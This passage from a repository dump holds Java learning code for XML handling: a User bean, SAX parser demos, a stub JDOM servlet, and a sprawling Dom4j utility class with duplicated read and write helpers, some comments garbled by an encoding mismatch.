    "content": "package com.jun.plugin.model;\n\npublic class User {\n\n\tprivate String id;\n\tprivate String name;\n\tprivate String sex;\n\tprivate int age;\n\t\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\t@Override\n\tpublic String toString() {\n\t\t// TODO Auto-generated method stub\n\t\treturn this.id+\",\"+this.name+\",\"+this.sex+\",\"+this.age;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/sax/SAXReader.java",
    "content": "package com.jun.plugin.sax;\n\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.xml.sax.Attributes;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.DefaultHandler;\n\npublic class SAXReader extends DefaultHandler{\n\n\t@Override\n\tpublic void startDocument() throws SAXException {\n\t\tSystem.out.println(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\");\n\t}\n\n\t@Override\n\tpublic void endDocument() throws SAXException {\n\t\tSystem.out.print(\"\\n end  ...\");\n\t}\n\n\t@Override\n\tpublic void startElement(String uri, String localName, String qName,\n\t\t\tAttributes attributes) throws SAXException {\n\t\tSystem.out.print(\"<\");\n\t\tSystem.out.print(qName);\n\t\tif(attributes!=null){\n\t\t\tfor(int i=0;i<attributes.getLength();i++){\n\t\t\t\tSystem.out.print(\" \"+attributes.getQName(i)+\"=\\\"\"+attributes.getValue(i)+\"\\\"\");\n\t\t\t}\n\t\t}\n\t\tSystem.out.print(\">\");\n\t}\n\n\t@Override\n\tpublic void endElement(String uri, String localName, String qName)\n\t\t\tthrows SAXException {\n\t\tSystem.out.print(\"</\");\n\t\tSystem.out.print(qName);\n\t\tSystem.out.print(\">\");\n\t}\n\n\t@Override\n\tpublic void characters(char[] ch, int start, int length)\n\t\t\tthrows SAXException {\n\t\tSystem.out.print(new String(ch,start,length));\n\t}\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tSAXParserFactory factory=SAXParserFactory.newInstance();\n\t\tSAXParser parser=factory.newSAXParser();\n\t\tparser.parse(\"src/main/resources/dom.xml\", new SAXReader());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/sax/SAXReader2.java",
    "content": "package com.jun.plugin.sax;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.xml.sax.Attributes;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.DefaultHandler;\n\nimport com.jun.plugin.model.User;\n\npublic class SAXReader2 extends DefaultHandler{\n\tprivate List<User> users=null;\n\tprivate User user=null;\n\tprivate String preTag=null; // �����һ���ڵ�����\n\t\n\t@Override\n\tpublic void startDocument() throws SAXException {\n\t\tSystem.out.println(\"开始\");\n\t\tusers=new ArrayList<User>();\n\t}\n\n\t@Override\n\tpublic void endDocument() throws SAXException {\n\t\tSystem.out.println(\"\\n 结束\");\n\t}\n\n\t@Override\n\tpublic void startElement(String uri, String localName, String qName,\n\t\t\tAttributes attributes) throws SAXException {\n\t\tif(\"user\".equals(qName)){\n\t\t\tuser=new User();\n\t\t\tuser.setId(attributes.getValue(0));\n\t\t}\n\t\tpreTag=qName;\n\t}\n\n\t@Override\n\tpublic void endElement(String uri, String localName, String qName)\n\t\t\tthrows SAXException {\n\t\tif(\"user\".equals(qName)){\n\t\t\tusers.add(user);\n\t\t\tuser=null;\n\t\t}\n\t\tpreTag=null;\n\t}\n\n\t@Override\n\tpublic void characters(char[] ch, int start, int length)\n\t\t\tthrows SAXException {\n\t\tif(preTag!=null){\n\t\t\tString content=new String(ch,start,length);\n\t\t\tif(\"name\".equals(preTag)){\n\t\t\t\tuser.setName(content);\n\t\t\t}else if(\"sex\".equals(preTag)){\n\t\t\t\tuser.setSex(content);\n\t\t\t}else if(\"age\".equals(preTag)){\n\t\t\t\tuser.setAge(Integer.parseInt(content));\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) throws Exception{\n\t\tSAXParserFactory factory=SAXParserFactory.newInstance();\n\t\tSAXParser parser=factory.newSAXParser();\n\t\tSAXReader2 sax02=new SAXReader2();\n\t\tparser.parse(\"src/main/resources/dom4j.xml\", sax02);\n\t\tfor(User s:sax02.users){\n\t\t\tSystem.out.println(s);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/servlet/Areaplus.java",
    "content": "package com.jun.plugin.servlet;\n\npublic class Areaplus {\n\n\tpublic String getTitle() {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n\tpublic Object getId() {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/servlet/jdom.java",
    "content": "package com.jun.plugin.servlet;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.jdom2.Attribute;\nimport org.jdom2.Document;\nimport org.jdom2.Element;\nimport org.jdom2.output.XMLOutputter;\n\n//import com.jun.web.biz.beans.Areaplus;\n//import com.jun.web.servlet.Document;\n//import com.jun.web.servlet.Element;\n//import com.jun.web.servlet.XMLOutputter;\n\n/**\n * Servlet implementation class jdom\n */\n@WebServlet(\"/jdom\")\npublic class jdom extends HttpServlet {\n\tprivate static final long serialVersionUID = 1L;\n       \n    /**\n     * @see HttpServlet#HttpServlet()\n     */\n    public jdom() {\n        super();\n        // TODO Auto-generated constructor stub\n    }\n\n\t/**\n\t * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)\n\t */\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// TODO Auto-generated method stub\n\t\tresponse.getWriter().append(\"Served at: \").append(request.getContextPath());\n\t}\n\n\t/**\n\t * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)\n\t */\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// TODO Auto-generated method stub\n\t\tdoGet(request, response);\n\t}\n\t\n\n\t@SuppressWarnings(\"unused\")\n\tpublic void AreaServletsearch(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\trequest.setCharacterEncoding(\"GBK\");\n\t\tresponse.setCharacterEncoding(\"GBK\");\n\t\tresponse.setContentType(\"text/xml\");\n\t\tString kw = new String(request.getParameter(\"kw\").getBytes(\"ISO-8859-1\"));\n\t\tSystem.out.println(kw);\n\t\tList<Areaplus> list = null;\n\t\tDocument document = new Document();\n\t\tElement root = new Element(\"allplus\");\n\t\tif (list != null) {\n\t\t\tIterator<Areaplus> iter = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tAreaplus ap = iter.next();\n\t\t\t\tElement plus = new Element(\"plus\");\n\t\t\t\tElement title = new Element(\"title\");\n\t\t\t\ttitle.addContent(ap.getTitle());\n\t\t\t\tplus.addContent(title);\n\t\t\t\troot.addContent(plus);\n\t\t\t}\n\t\t}\n\t\tdocument.setRootElement(root);\n\t\tPrintWriter out = response.getWriter();\n\t\tXMLOutputter outputter = new XMLOutputter();\n\t\t// outputter.setEncoding(\"GBK\") ;\n\t\toutputter.output(document, out);\n\t\tout.close();\n\t}\n\n\tpublic void AreaServletshowplus(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\trequest.setCharacterEncoding(\"GBK\");\n\t\tresponse.setCharacterEncoding(\"GBK\");\n\t\tresponse.setContentType(\"text/xml\");\n\t\tint upid = Integer.parseInt(request.getParameter(\"upid\"));\n\t\tList<Areaplus> list = null;\n\t\tPrintWriter out = response.getWriter();\n\t\t// StringBuffer buffer = new StringBuffer() ;\n\t\tDocument document = new Document();\n\t\tElement root = new Element(\"allplus\");\n\t\tif (list != null) {\n\t\t\tIterator<Areaplus> iter = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tAreaplus ap = iter.next();\n\t\t\t\tElement plus = new Element(\"plus\");\n\t\t\t\tElement id = new Element(\"id\");\n\t\t\t\tElement title = new Element(\"title\");\n\t\t\t\tid.addContent(ap.getId().toString());\n\t\t\t\ttitle.addContent(ap.getTitle());\n\t\t\t\tplus.addContent(id);\n\t\t\t\tplus.addContent(title);\n\t\t\t\troot.addContent(plus);\n\t\t\t\t// buffer.append(plus.getId().toString()) ;\n\t\t\t\t// buffer.append(\":\") ;\n\t\t\t\t// buffer.append(plus.getTitle()) ;\n\t\t\t\t// buffer.append(\"|\") ;\n\t\t\t}\n\t\t\tdocument.setRootElement(root);\n\t\t\tXMLOutputter outputter = new XMLOutputter();\n\t\t\t// outputter.setEncoding(\"GBK\") ;\n\t\t\toutputter.output(document, out);\n\t\t\t// out.print(buffer.substring(0, buffer.length()-1)) ;\n\t\t}\n\t\tout.close();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/utils/Dom4jUtil.java",
    "content": "package com.jun.plugin.utils;\n\n\nimport java.beans.XMLDecoder;\nimport java.beans.XMLEncoder;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\n\n\n/**\n * xml的工具类\n * @author APPle\n *\n */\npublic class Dom4jUtil {\n\t\n\n\t/*public static void main(String[] args) {\n\t\tXMLFactory sdFactory = new XMLFactory(BackupScheduleConfig.class);\n\t\t// String xmlText=sdFactory.marshal(new BackupScheduleConfig(1, 1, 1, \"Y\"));\n\t\ttry {\n\t\t\tBackupScheduleConfig sd = sdFactory.unmarshal(new FileInputStream(new File(\"D:\\\\sale.xml\")));\n\t\t\tSystem.out.println(sd.getScheduleEnabled());\n\t\t} catch (FileNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}*/\n\n\tpublic void stringXMLToFile1(String filePath, String content) {\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\tXMLWriter xmlWriter = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\tDocument doc = DocumentHelper.parseText(content);\n\t\t\txmlWriter.write(doc);\n\t\t\txmlWriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\n\tprivate static String filePath4 = Dom4jUtil.class.getClassLoader().getResource(\"users.xml\").getFile();\n\t\n\t//���ش��xml �ļ��� document ����\n\tpublic static Document getDocument44() {\n\t\t\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\tSystem.out.println(filePath);\n\t\ttry {\n\t\t\treturn reader.read(filePath);\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}\n\n\t//���ڴ��е�document ����д�ص� xml �ļ���ȥ \n\tpublic static void writeBack2Xml44(Document document) {\n\t\t\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\t\n\t\t\t\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t/**\n\t * 读取xml文档方法\n\t * @return\n\t */\n\tpublic static Document getDocument(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * 写出到xml文档中\n\t */\n\tpublic static void write2xml(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\n\tpublic static String path;\n\t\n\t/**\n\t * 获得document对象\n\t * @return\n\t */\n\tpublic static Document getDocument2() throws Exception{\n\t\t//创建流\n\t\tSAXReader reader = new SAXReader();\n\t\t//解析\n\t\treturn reader.read(path);\n\t}\n\t\n\t/**\n\t * 保存document对象\n\t * @param docuemnt\n\t */\n\tpublic static void saveDocument(Document document) throws Exception{\n\t\t//获得流\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(path));\n\t\twriter.write(document);\n\t\twriter.close();\n\t}\n\n\tpublic static void setPath(String path1) {\n\t\tpath = path1;\n\t}\n\t\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\t\n\n\t/**\n\t * 读取xml文档方法\n\t * @return\n\t */\n\tpublic static Document getDocument33(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * 写出到xml文档中\n\t */\n\tpublic static void write2xml33(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\n\tprivate static String filePath = Dom4jUtil.class.getClassLoader().getResource(\"users.xml\").getFile();\n\t\n\t//���ش��xml �ļ��� document ����\n\tpublic static Document getDocument1() {\n\t\t\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\tSystem.out.println(filePath);\n\t\ttry {\n\t\t\treturn reader.read(filePath);\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}\n\n\t//���ڴ��е�document ����д�ص� xml �ļ���ȥ \n\tpublic static void writeBack2Xml(Document document) {\n\t\t\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\t\n\t\t\t\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\t\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n//\tprivate static String path;\n\t\n\t/**\n\t * 获得document对象\n\t * @return\n\t */\n\tpublic static Document getDocument233() throws Exception{\n\t\t//创建流\n\t\tSAXReader reader = new SAXReader();\n\t\t//解析\n\t\treturn reader.read(path);\n\t}\n\t\n\t/**\n\t * 保存document对象\n\t * @param docuemnt\n\t */\n\tpublic static void saveDocument33(Document document) throws Exception{\n\t\t//获得流\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(path));\n\t\twriter.write(document);\n\t\twriter.close();\n\t}\n\n\tpublic static void setPath33(String path3) {\n\t\tpath = path3;\n\t}\n\t\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/**\n\t * 获得document对象\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static Document getDocument3() throws Exception{\n\t\t\n\t\t//获得解析流\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\treturn reader.read(\"books.xml\");\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t\n\n\t//�����ļ���������\n\tprivate static File file = null;\n\t\n\t//����ļ������ڣ���Ҫ�����ļ����������Ӧ�ĸ�Ԫ��\n\tstatic{\n\t\tfile = new File(\"books.xml\");\n\t\tif(!file.exists()){ //����ļ�������\n\t\t\ttry {\n\t\t\t\t//�����ļ�\n\t\t\t\tfile.createNewFile();\n\t\t\t\t\n\t\t\t\t/*��ɸ�Ԫ��books*/\n\t\t\t\t//����һ���µ��ĵ�\n\t\t\t\tDocument document = DocumentHelper.createDocument();\n\t\t\t\t//��Ӹ�Ԫ��\n\t\t\t\tdocument.addElement(\"books\");\n\t\t\t\t//����\n\t\t\t\tsaveXml(document);\n\t\t\t\t\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t}\n\t}\n\t/**\n\t * ���document����\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static Document getDocument4() throws Exception{\n\t\t//��ý�����\n\t\tSAXReader reader = new SAXReader();\n\t\t//����ָ����xml�ļ�\n\t\treturn reader.read(file);\n\t}\n\n\t/**\n\t * �������\n\t * @param document\n\t * @throws Exception \n\t */\n\tpublic static void saveXml(Document document) throws Exception {\n\t\t\n\t\t//��ʽ��\n\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t//�������� --��ȷ������ļ�λ��\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(file),format);\n\t\t//��documentд�뵽ָ���ļ�\n\t\twriter.write(document);\n\t\t//�ر���\n\t\twriter.close();\n\t}\n\n\t\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t\n \n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\t/**\n\t * ���ڶ�ȡxml�ļ�\n\t * @return\n\t */\n\tpublic static Document getDocument55(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * д��xml�ļ�\n\t */\n\tpublic static void write2xml55(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\t/**\n\t * ��java�Ŀ����л��Ķ���(ʵ��Serializable�ӿ�)���л����浽XML�ļ�����,�����һ�α����������л��������ü��Ͻ��з�װ ����ʱ���������ڵĶ���ԭ����XML�ļ�����\n\t * \n\t * @param obj\n\t *            Ҫ���л��Ŀ����л��Ķ���\n\t * @param fileName\n\t *            ����ȫ�ı���·�����ļ���\n\t * @throws FileNotFoundException\n\t *             ָ��λ�õ��ļ�������\n\t * @throws IOException\n\t *             ���ʱ�����쳣\n\t * @throws Exception\n\t *             ��������ʱ�쳣\n\t */\n\tpublic static void objectXmlEncoder(Object obj, String fileName) throws FileNotFoundException, IOException, Exception {\n\t\t// ��������ļ�\n\t\tFile fo = new File(fileName);\n\t\t// �ļ�������,�ʹ������ļ�\n\t\tif (!fo.exists()) {\n\t\t\t// �ȴ����ļ���Ŀ¼\n\t\t\tString path = fileName.substring(0, fileName.lastIndexOf('.'));\n\t\t\tFile pFile = new File(path);\n\t\t\tpFile.mkdirs();\n\t\t}\n\t\t// �����ļ������\n\t\tFileOutputStream fos = new FileOutputStream(fo);\n\t\t// ����XML�ļ����������ʵ��\n\t\tXMLEncoder encoder = new XMLEncoder(fos);\n\t\t// �������л������XML�ļ�\n\t\tencoder.writeObject(obj);\n\t\tencoder.flush();\n\t\t// �ر����л�����\n\t\tencoder.close();\n\t\t// �ر������\n\t\tfos.close();\n\t}\n\n\t/**\n\t * ��ȡ��objSourceָ����XML�ļ��е����л�����Ķ���,���صĽ�����List��װ\n\t * \n\t * @param objSource\n\t *            ��ȫ���ļ�·�����ļ�ȫ��\n\t * @return ��XML�ļ����汣��Ķ��󹹳ɵ�List�б�(������һ�����߶�������л�����Ķ���)\n\t * @throws FileNotFoundException\n\t *             ָ���Ķ����ȡ��Դ������\n\t * @throws IOException\n\t *             ��ȡ�������\n\t * @throws Exception\n\t *             ��������ʱ�쳣����\n\t */\n\tpublic static List objectXmlDecoder(String objSource) throws FileNotFoundException, IOException, Exception {\n\t\tList objList = new ArrayList();\n\t\tFile fin = new File(objSource);\n\t\tFileInputStream fis = new FileInputStream(fin);\n\t\tXMLDecoder decoder = new XMLDecoder(fis);\n\t\tObject obj = null;\n\t\ttry {\n\t\t\twhile ((obj = decoder.readObject()) != null) {\n\t\t\t\tobjList.add(obj);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t}\n\t\tfis.close();\n\t\tdecoder.close();\n\t\treturn objList;\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t\n\n\tpublic static boolean isNotNull(String param)\n\t{\n\t\tboolean ret = true;\n\t\tif(null==param)\n\t\t\tret = false;\n\t\telse if(param.trim().length()==0)\n\t\t{\n\t\t\tret = false;\n\t\t}\n\t\treturn ret;\n\t}\n\tpublic static boolean isNotNull(Integer param)\n\t{\n\t\tboolean ret = true;\n\t\tif(null==param)\n\t\t\tret = false;\n\t\telse if(param==0)\n\t\t{\n\t\t\tret = false;\n\t\t}\n\t\treturn ret;\n\t}\n\tpublic static boolean isNotNull(Long param)\n\t{\n\t\tboolean ret = true;\n\t\tif(null==param)\n\t\t\tret = false;\n\t\telse if(param==0)\n\t\t{\n\t\t\tret = false;\n\t\t}\n\t\treturn ret;\n\t}\n\t/**\n\t * @description 去掉末尾的0\n\t * @param strDate\n\t * @return\n\t */\n\tpublic static String formatDateStr(String strDate)\n\t{\n\t\tString ret = strDate;\n\t\tif(strDate!=null)\n\t\t{\n\t\t\tret = strDate.replaceAll(\" 00:00:00.0\", \"\");\n\t\t}\n\t\treturn ret;\n\t}\n\t\n\t\n\t\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\t/**\n\t * ���ڶ�ȡxml�ļ�\n\t * @return\n\t */\n\tpublic static Document getDocument66(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * д��xml�ļ�\n\t */\n\tpublic static void write2xml66(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\n\t/**\n\t * 获得document对象\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static Document getDocument22() throws Exception{\n\t\t\n\t\t//获得解析流\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\treturn reader.read(\"books.xml\");\n\t}\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\n\t//�����ļ���������\n\tprivate static File file44 = null;\n\t\n\t//����ļ������ڣ���Ҫ�����ļ����������Ӧ�ĸ�Ԫ��\n\tstatic{\n\t\tfile = new File(\"books.xml\");\n\t\tif(!file.exists()){ //����ļ�������\n\t\t\ttry {\n\t\t\t\t//�����ļ�\n\t\t\t\tfile.createNewFile();\n\t\t\t\t\n\t\t\t\t/*��ɸ�Ԫ��books*/\n\t\t\t\t//����һ���µ��ĵ�\n\t\t\t\tDocument document = DocumentHelper.createDocument();\n\t\t\t\t//��Ӹ�Ԫ��\n\t\t\t\tdocument.addElement(\"books\");\n\t\t\t\t//����\n\t\t\t\tsaveXml(document);\n\t\t\t\t\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t}\n\t}\n\t/**\n\t * ���document����\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static Document getDocument441() throws Exception{\n\t\t//��ý�����\n\t\tSAXReader reader = new SAXReader();\n\t\t//����ָ����xml�ļ�\n\t\treturn reader.read(file);\n\t}\n\n\t/**\n\t * �������\n\t * @param document\n\t * @throws Exception \n\t */\n\tpublic static void saveXml44(Document document) throws Exception {\n\t\t\n\t\t//��ʽ��\n\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t//�������� --��ȷ������ļ�λ��\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(file),format);\n\t\t//��documentд�뵽ָ���ļ�\n\t\twriter.write(document);\n\t\t//�ر���\n\t\twriter.close();\n\t}\n\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\t\n\n\t\n\t/**\n\t * 读取xml文档方法\n\t * @return\n\t */\n\tpublic static Document getDocument551(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * 写出到xml文档中\n\t */\n\tpublic static void write2xml551(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n \n\n\tpublic void stringXMLToFile(String filePath, String content) {\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\tXMLWriter xmlWriter = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\tDocument doc = DocumentHelper.parseText(content);\n\t\t\txmlWriter.write(doc);\n\t\t\txmlWriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n \n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/utils/XMLFactory.java",
    "content": "//package com.jun.plugin.utils;\n//\n//import java.io.BufferedReader;\n//import java.io.File;\n//import java.io.FileInputStream;\n//import java.io.FileNotFoundException;\n//import java.io.FileOutputStream;\n//import java.io.InputStream;\n//import java.io.InputStreamReader;\n//import java.io.StringReader;\n//import java.io.StringWriter;\n//import java.io.UnsupportedEncodingException;\n//\n//import javax.xml.bind.JAXBContext;\n//import javax.xml.bind.JAXBException;\n//import javax.xml.bind.Marshaller;\n//import javax.xml.bind.Unmarshaller;\n//\n//import org.dom4j.Document;\n//import org.dom4j.DocumentHelper;\n//import org.dom4j.io.OutputFormat;\n//import org.dom4j.io.XMLWriter;\n//\n////import com.erp.model.BackupScheduleConfig;\n//\n//public class XMLFactory {\n//\t@SuppressWarnings(\"unused\")\n//\tprivate XMLFactory() {\n//\t};\n//\n//\tprivate Marshaller marshaller;\n//\tprivate Unmarshaller unmarshaller;\n//\n//\t/**\n//\t * 参数types为所有需要序列化的Root对象的类型.\n//\t */\n//\tpublic XMLFactory(Class<?>... types) {\n//\t\ttry {\n//\t\t\tJAXBContext jaxbContext = JAXBContext.newInstance(types);\n//\t\t\tmarshaller = jaxbContext.createMarshaller();\n//\t\t\tmarshaller.setProperty(\"jaxb.formatted.output\", Boolean.TRUE);\n//\t\t\tunmarshaller = jaxbContext.createUnmarshaller();\n//\t\t} catch (JAXBException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * Java->Xml\n//\t */\n//\tpublic String marshal(Object root) {\n//\t\ttry {\n//\t\t\tStringWriter writer = new 